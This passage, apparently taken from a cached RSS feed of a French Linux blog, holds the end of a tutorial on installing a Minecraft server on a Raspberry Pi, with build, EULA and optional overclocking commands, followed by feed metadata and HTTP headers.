</span></span></code></pre></div><ol start="5">
<li>Lancer l&rsquo;installation</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">java -Xmx1024M -jar /home/minecraft/BuildTools.jar --rev 1.20.1
</span></span></code></pre></div><ol start="6">
<li>Accepter les conditions d&rsquo;utilisation</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sed -i <span class="s1">&#39;s/false/true/g&#39;</span> /home/minecraft/eula.txt
</span></span></code></pre></div><ol start="7">
<li>Suivre le tutoriel pour avoir un script pour exécuter le serveur</li>
</ol>
<blockquote>
<p><a class="link" href="https://www.skritz.com/minecraft-script-demarrer-serveur-linux/"  target="_blank" rel="noopener"
    >https://www.skritz.com/minecraft-script-demarrer-serveur-linux/</a></p>
</blockquote>
<ol start="8">
<li>Utiliser ses commandes pour overclockée le Raspberry Pi (optionnel)</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sed -i <span class="s1">&#39;s/#arm_freq/arm_freq/g&#39;</span> /boot/config.txt
</span></span><span class="line"><span class="ln">2</span><span class="cl">sed -i <span class="s1">&#39;s/#over_voltage=/over_voltage=/g&#39;</span> /boot/config.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl">sed -i <span class="s1">&#39;s/#gpu_freq/gpu_freq/g&#39;</span> /boot/config.txt
</span></span><span class="line"><span class="ln">4</span><span class="cl">sed -i <span class="s1">&#39;s/arm_freq=.*/arm_freq=2147/&#39;</span> /boot/config.txt
</span></span><span class="line"><span class="ln">5</span><span class="cl">sed -i <span class="s1">&#39;s/over_voltage=.*/over_voltage=6/&#39;</span> /boot/config.txt
</span></span><span class="line"><span class="ln">6</span><span class="cl">sed -i <span class="s1">&#39;s/gpu_freq=.*/gpu_freq=750/&#39;</span> /boot/config.txt
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:124;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:8:"Archives";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:28:"https://azlinux.fr/archives/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 28 May 2019 00:00:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"https://azlinux.fr/archives/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:125;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:9:"Recherche";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/recherche/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 01 Jan 0001 00:00:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/recherche/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}s:27:"http://www.w3.org/2005/Atom";a:1:{s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:1:{s:0:"";a:3:{s:4:"href";s:28:"https://azlinux.fr/index.xml";s:3:"rel";s:4:"self";s:4:"type";s:19:"application/rss+xml";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:15:{s:4:"date";s:29:"Fri, 27 Dec 2024 20:10:58 GMT";s:12:"content-type";s:15:"application/xml";s:27:"access-control-allow-origin";s:1:"*";s:13:"cache-control";s:34:"public, max-age=0, must-revalidate";s:4:"etag";s:36:"W/"e5ea4e5970ddaa313334a8829c599341"";s:15:"referrer-policy";s:31:"strict-origin-when-cross-origin";s:22:"x-content-type-options";s:7:"nosniff";s:9:"report-to";s:223:"{endpoints:[{url:https:\/\/a.nel.cloudflare.com\/report\/v4?s=LS5j75jiuw9l8HoaGZ%2BANSZcG75JOmokUrjyizAdUwLUUIsiM0XwfxsjM4yGN%2FpYlPPUPu94DpOnGyqLZbXgyERUOjKO1HZCsDhoMCz%2BIdpCrcn7OJabd9He4JZJ}],group:cf-nel,max_age:604800}";s:3:"nel";s:52:"{success_fraction:0,report_to:cf-nel,max_age:604800}";s:4:"vary";s:15:"Accept-Encoding";s:6:"server";s:10:"cloudflare";s:6:"cf-ray";s:20:"8f8bf505af2d4202-MRS";s:16:"content-encoding";s:2:"br";s:7:"alt-svc";s:17:"h3=:443; ma=86400";s:13:"server-timing";s:197:"cfL4;desc=?proto=TCP&rtt=33589&min_rtt=18169&rtt_var=18790&sent=6&recv=9&lost=0&retrans=0&sent_bytes=3373&recv_bytes=990&delivery_rate=158928&cwnd=243&unsent_bytes=0&cid=6b7cd7c47581034a&ts=139&x=0";}s:5:"build";s:14:"20240924100504";s:5:"mtime";i:1735330258;s:3:"md5";s:32:"c9eb1f7231ff572fce85fa3b861586dd";}